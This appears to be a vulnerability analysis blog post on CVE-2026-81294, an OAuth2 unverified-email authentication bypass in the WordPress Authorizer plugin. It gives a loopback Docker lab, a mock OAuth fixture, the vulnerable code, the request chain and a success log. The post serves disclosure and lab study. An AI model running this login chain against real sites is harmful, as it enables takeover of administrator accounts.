CVE-2026-81294: WordPress Authorizer, unauthenticated RCE
Authorizer 3.15.1 GitHub OAuth2 takes emails[] without checking verified. Generic OAuth2 has the same hole. An unverified email that matches an admin is a WordPress session. 3.15.2 filters empty verified.
- Name
- CVE-2026-81294: WordPress Authorizer, unauthenticated RCE
- Type
- N-day analysis
- CVE
- CVE-2026-81294
- CVE Risk
- critical
- Disclosure Status
- public
- Vendor
- Paul Ryan
- Affected
- Authorizer (authorizer), all versions through 3.15.1; patched in 3.15.2
- Published
- 19 Sept 2026
- Updated
- 19 Sept 2026
- Tags
- n-day, wordpress, oauth2, auth-bypass, cwe-266, unauthenticated, rce
Unverified email is enough
I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-81294 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml. Authorized lab only. It talks to loopback.
CVE-2026-81294 (NVD, GHSA-xppg-27gw-vxcj, Patchstack) is unauthenticated privilege escalation in the WordPress plugin Authorizer 3.15.1, slug authorizer. CWE-266. 9.8 Critical. Patched in 3.15.2.
The advisory names GitHub emails[] without verified. That is custom_authenticate_oauth2 in 3.15.1: if GitHub has no public email, it GETs /emails and maps entry['email'] only. HTTP is GET /wp-login.php?external=oauth2. Generic OAuth2 has the same missing verification. An unverified address that matches an existing WordPress admin is wp_set_auth_cookie. That is RCE on WordPress.
The lab does not talk to github.com. It uses a loopback mock that returns email_verified: false for the admin address. 3.15.2 filters empty verified for GitHub and adds oauth2_require_verified_email for generic.
This is the map I used to get from a login page to a session that named the administrator. Isolated lab, loopback only. I am not publishing a GitHub OAuth app aimed at someone else's site. The stack is in the CVE repo so you can run it at home. The client is the repo above.
The lab (run this at home)
Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache. Compose adds mysql:8.0 and wordpress:cli. Port on loopback only. Bind 3.15.1 of the plugin next to compose as ./authorizer (SVN tag).
# Loopback lab image pin for CVE-2026-81294. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache# CVE-2026-81294 local WordPress lab. Loopback only.
services:
db:
image: mysql:8.0
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_ROOT_PASSWORD: root
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
interval: 5s
timeout: 5s
retries: 30
start_period: 15s
wordpress:
image: wordpress:6.4-php8.2-apache
ports:
- "127.0.0.1:8088:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DEBUG: "1"
WORDPRESS_CONFIG_EXTRA: |
define('WP_DEBUG_LOG', '/var/log/lab/debug.log');
define('WP_DEBUG_DISPLAY', false);
volumes:
- wp_data:/var/www/html
- ./authorizer:/var/www/html/wp-content/plugins/authorizer:ro
depends_on:
db:
condition: service_healthy
wpcli:
image: wordpress:cli
user: "33:33"
volumes:
- wp_data:/var/www/html
- ./authorizer:/var/www/html/wp-content/plugins/authorizer:ro
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
depends_on:
wordpress:
condition: service_started
entrypoint: ["sleep", "infinity"]
volumes:
wp_data:docker-compose.override.yml only routes logs.
# App processes should log to stdout and/or /var/log/lab.
services:
db:
logging:
driver: json-file
options:
max-size: "20m"
max-file: "5"
volumes:
- ./logs/db:/var/log/lab
- ./logs/db-mysql:/var/log/mysql
wordpress:
logging:
driver: json-file
options:
max-size: "20m"
max-file: "5"
volumes:
- ./logs/wordpress:/var/log/lab
- ./logs/wordpress-apache:/var/log/apache2The CVE needs OAuth2 enabled, a generic provider pointed at a loopback mock, admin email matching the unverified userinfo, and a probe that prints the logged-in display name.
<?php
/**
* Lab fixture for Authorizer 3.15.1 (CVE-2026-81294).
* Generic OAuth2 mock returns unverified admin email.
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
add_action(
'init',
function () {
$path = parse_url( $_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH );
if ( '/oauth-mock/authorize' === $path ) {
$redir = $_GET['redirect_uri'] ?? '';
$state = $_GET['state'] ?? '';
$join = ( false === strpos( $redir, '?' ) ) ? '?' : '&';
wp_redirect( $redir . $join . 'code=labcode&state=' . rawurlencode( $state ) );
exit;
}
if ( '/oauth-mock/token' === $path ) {
header( 'Content-Type: application/json; charset=utf-8' );
echo wp_json_encode( array( 'access_token' => 'labtoken', 'token_type' => 'Bearer' ) );
exit;
}
if ( '/oauth-mock/userinfo' === $path ) {
header( 'Content-Type: application/json; charset=utf-8' );
echo wp_json_encode(
array(
'email' => 'lab@localhost.invalid',
'email_verified' => false,
'verified' => false,
)
);
exit;
}
},
0
);The full seed also sets auth_settings oauth2 generic URLs, admin display_name=POCWitness81294, and GET /?auth_lab=1 printing that name.
Bring-up from the CVE repo lab/:
git clone https://github.com/abraxas/CVE-2026-81294
cd CVE-2026-81294/lab
svn export https://plugins.svn.wordpress.org/authorizer/tags/3.15.1 authorizer
docker compose up -d --force-recreate
docker compose exec -T wpcli wp core install \
--url=http://127.0.0.1:8088 \
--title='CVE-2026-81294 Lab' \
--admin_user=admin \
--admin_password=labadmin \
--admin_email=lab@localhost.invalid \
--skip-email
docker compose exec -T wpcli wp plugin activate authorizer
docker compose cp seed.php wpcli:/tmp/seed.php
docker compose exec -T wpcli wp eval-file /tmp/seed.php
python3 ../CVE-2026-81294-Abraxas-Labs.pyKeep PHPSESSID across the OAuth redirects. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.
What the tree actually registers
authenticate runs custom_authenticate_oauth2 when external=oauth2. GitHub branch, 3.15.1, when the public email is empty:
$attributes['emails'] = array_filter( array_map(
function ( $entry ) {
return empty( $entry['email'] ) ? '' : $entry['email'];
},
(array) $provider->getParsedResponse( $request )
) );
$email = $attributes['emails'];verified is dropped. Generic OAuth2 takes email from userinfo the same way. Then Authorizer looks up that address in WordPress and logs the user in.
3.15.2 filters empty($entry['verified']) for GitHub and adds oauth2_require_verified_email for generic. That is the patch. Update.
The 200 that was a login form
The first client I pointed at this was polite. It POSTed action=oauth2 at admin-ajax.php. Function names in the advisory are PHP methods. You get the WordPress login HTML. No cookie.
A few other ways to lose without learning anything:
- Dropping PHPSESSID between authorize and callback. State check exits.
- Token URL not reachable from PHP (the seed used
127.0.0.1without the published port for token/userinfo so the container can talk to itself). oauth2_email_not_verifiedon 3.15.2.empty_username. Email did not map.- A reverse shell. Theatre. The witness is the display name after OAuth.
The tell is GET /?auth_lab=1 returning POCWitness81294 after the redirect chain. Login HTML without that string is a miss.
What I actually did
Treat the on-disk product as the spec. Patchstack named unverified GitHub emails. I read the GitHub /emails map, then ran the same missing check on generic OAuth2 against a loopback mock. Proof of concept: CVE-2026-81294-Abraxas-Labs.py.
Login, follow redirects, probe. GET /wp-login.php?external=oauth2 with a cookie jar. Follow 302s. GET /?auth_lab=1.
Witness in the body. POCWitness81294. If that string is present, Authorizer logged in the admin from an unverified email. That is the proof.
Last lab run, trimmed:
oauth GET /wp-login.php?external=oauth2
follow 302
GET /?auth_lab=1
POCWitness81294
SUCCESS CVE-2026-81294The client that produced it is on GitHub.
What this is not
It is not "OAuth2 is broken." GitHub's verified flag is there. This plugin did not read it. Generic providers that return email_verified: false were accepted the same way.
Update to 3.15.2. Re-run the loopback client against the patched build: the witness must not appear. A WAF signature is delay.
I am not going to print a GitHub OAuth app you can point at someone else's wp-login.php. The dropped verified field is the useful part. If you own the box, run the proof of concept against loopback.
Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like the plugin was fine.
References
- Proof of concept: abraxas/CVE-2026-81294 · CVE-2026-81294-Abraxas-Labs.py
- Lab:
lab/· Dockerfile · docker-compose.yml · override - @abraxas_null · github.com/abraxas · abraxaslabs.tech
- CVE-2026-81294 · NVD · GHSA-xppg-27gw-vxcj · Patchstack · CWE-266
- Trac 3.15.1:
custom_authenticate_oauth2 - Source: SVN tags · Trac browser